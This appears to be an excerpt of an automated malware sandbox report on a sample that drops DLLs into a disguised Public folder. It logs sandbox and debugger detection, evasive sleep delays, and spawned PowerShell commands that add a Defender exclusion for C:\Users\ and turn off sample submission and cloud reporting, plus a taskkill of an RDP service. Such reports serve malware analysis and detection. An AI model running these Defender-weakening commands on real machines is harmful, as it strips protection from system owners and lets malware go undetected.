Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	29_2_00007FFB23AD4928
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	29_2_00007FFB23B01D98

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5505	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4302	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8228	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1286	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7002	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2690	Jump to behavior
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Window / User API: threadDelayed 1401
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Window / User API: threadDelayed 6871

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\UEptccWa	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\x8eec9dQ	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\VPIOcgIO	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\termsrv32.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rfxvmt.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\e5xaOqBz	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\nHqxqt5L	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\TLbqzKsW	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\miECvZvT	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\T9229YlC	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Dropped PE file which has not been started: C:\Windows\Temp\fQQIqQM0	Jump to dropped file

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_29-59834

Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_13-11199

Source: C:\Users\user\Desktop\file.exe TID: 5748	Thread sleep time: -23760000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5748	Thread sleep time: -119997s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7212	Thread sleep count: 5505 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7212	Thread sleep count: 4302 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7248	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7380	Thread sleep count: 8228 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7380	Thread sleep count: 1286 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7408	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7500	Thread sleep count: 7002 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7508	Thread sleep count: 2690 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7532	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 8184	Thread sleep count: 165 > 30
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 8184	Thread sleep time: -82500s >= -30000s
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 7188	Thread sleep count: 178 > 30
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 7188	Thread sleep time: -89000s >= -30000s
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 7180	Thread sleep count: 71 > 30
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 8004	Thread sleep count: 1401 > 30
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 8004	Thread sleep time: -4203000s >= -30000s
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 8004	Thread sleep count: 6871 > 30
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe TID: 8004	Thread sleep time: -20613000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\Windows\System32 FullSizeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe	Code function: 13_2_00007FF7E3CE3DB3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	13_2_00007FF7E3CE3DB3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FF7AABD47A3 FindNextFileA,_mbscpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	29_2_00007FF7AABD47A3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB2270A083 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	29_2_00007FFB2270A083
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB22731883 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	29_2_00007FFB22731883
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB22765BF3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	29_2_00007FFB22765BF3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB23AB57B3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	29_2_00007FFB23AB57B3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB23AD5203 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	29_2_00007FFB23AD5203
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FFB23B02FE3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	29_2_00007FFB23B02FE3

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 119997	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: file.exe	Binary or memory string: =QemuLH
Source: svchost.exe, 00000002.00000002.2526307322.000001FBE9464000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: $@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: svchost.exe, 00000005.00000003.2013778502.000001E701150000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: svchost.exe, 00000002.00000002.2526005018.000001FBE944D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000002.00000002.2525800047.000001FBE9427000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: svchost.exe, 00000028.00000002.2527366735.00000298640B3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526801542.000002986402B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000005.00000003.2013778502.000001E701150000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.NoneVMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9dVMware20,1
Source: svchost.exe, 00000002.00000002.2526506814.000001FBE9502000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000005.00000003.2013778502.000001E701150000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.VMW201.00V.20829224.B64.221121184211/21/2022
Source: svchost.exe, 00000005.00000003.2013778502.000001E701150000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: svchost.exe, 00000005.00000003.2003948520.000001E70113E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6000c298128b8c02a71a2474aeb5f3dc\|Virtual disk \|VMware
Source: file.exe, 00000008.00000002.2526951120.00000000010A9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.2525477850.0000024C9102B000.00000004.00000020.00020000.00000000.sdmp, yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546477161.00000239DD11D000.00000004.00000020.00020000.00000000.sdmp, main.exe, 0000001D.00000002.2202769902.0000027B4335C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 0000001D.00000003.1489637593.0000027B4337C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: main.exe, 00000029.00000002.2528204660.000001FE46857000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllQQ
Source: svchost.exe, 00000005.00000003.2003948520.000001E70113E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk 2.0 6000c298128b8c02a71a2474aeb5f3dc
Source: svchost.exe, 00000005.00000003.2003948520.000001E70113E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C6000c298128b8c02a71a2474aeb5f3dc\|Virtual disk \|VMware
Source: svchost.exe, 00000002.00000002.2525800047.000001FBE9427000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000005.00000003.2013778502.000001E701150000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk 2.0 6000c298128b8c02a71a2474aeb5f3dc$
Source: svchost.exe, 00000005.00000003.2013778502.000001E701150000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000SCSI\CdRomNECVMWarVMware_SATA_CD001.00SCSI\CdRomNECVMWarVMware_SATA_CD00SCSI\CdRomNECVMWarSCSI\NECVMWarVMware_SATA_CD001NECVMWarVMware_SATA_CD001GenCdRom
Source: svchost.exe, 00000005.00000003.2013778502.000001E701150000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,1
Source: svchost.exe, 00000005.00000003.2013778502.000001E701150000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual RAM00000001VMW-4096MBRAM slot #0RAM slot #0
Source: svchost.exe, 00000002.00000002.2525442740.000001FBE9402000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: svchost.exe, 00000005.00000003.2013778502.000001E701150000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware
Source: svchost.exe, 00000005.00000003.2013778502.000001E701150000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware SVGA IIES1371
Source: svchost.exe, 00000005.00000003.2013778502.000001E701150000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual RAM
Source: svchost.exe, 00000028.00000002.2526962025.0000029864088000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NXT15E6VMWare
Source: svchost.exe, 00000002.00000002.2526005018.000001FBE944D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000005.00000003.2013778502.000001E701150000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: svchost.exe, 00000005.00000003.2003948520.000001E70113E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: svchost.exe, 00000005.00000003.2013778502.000001E701150000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000SCSI\DiskVMware__Virtual_disk____2.0_SCSI\DiskVMware__Virtual_disk____SCSI\DiskVMware__SCSI\VMware__Virtual_disk____2VMware__Virtual_disk____2GenDisk

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Process queried: DebugPort
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe

Code function: 13_2_00007FF7E3CEFF1F GetModuleHandleW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,

13_2_00007FF7E3CEFF1F

Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe

Code function: 13_2_00007FF7E3CE8CFC FreeLibrary,strlen,GetProcessHeap,HeapAlloc,BuildTrusteeWithSidW,BuildSecurityDescriptorW,GetProcessHeap,HeapFree,LocalFree,

13_2_00007FF7E3CE8CFC

Source: C:\Users\user\Desktop\file.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe	Code function: 13_2_00007FF7E3CE1131 Sleep,Sleep,_amsg_exit,_initterm,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,_cexit,	13_2_00007FF7E3CE1131
Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe	Code function: 13_2_00007FF7E3CFB6A0 SetUnhandledExceptionFilter,	13_2_00007FF7E3CFB6A0
Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe	Code function: 13_2_00007FF7E3CF05D9 SetUnhandledExceptionFilter,	13_2_00007FF7E3CF05D9
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 29_2_00007FF7AABD1131 Sleep,Sleep,_amsg_exit,_initterm,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,_cexit,	29_2_00007FF7AABD1131

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe

13_2_00007FF7E3CE292E

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -MAPSReporting 0"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 440 -p 7988 -ip 7988
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7988 -s 1128

Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe

Process created: C:\Windows\System32\taskkill.exe taskkill.exe /F /FI "SERVICES eq RDP-Controller"

Jump to behavior

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
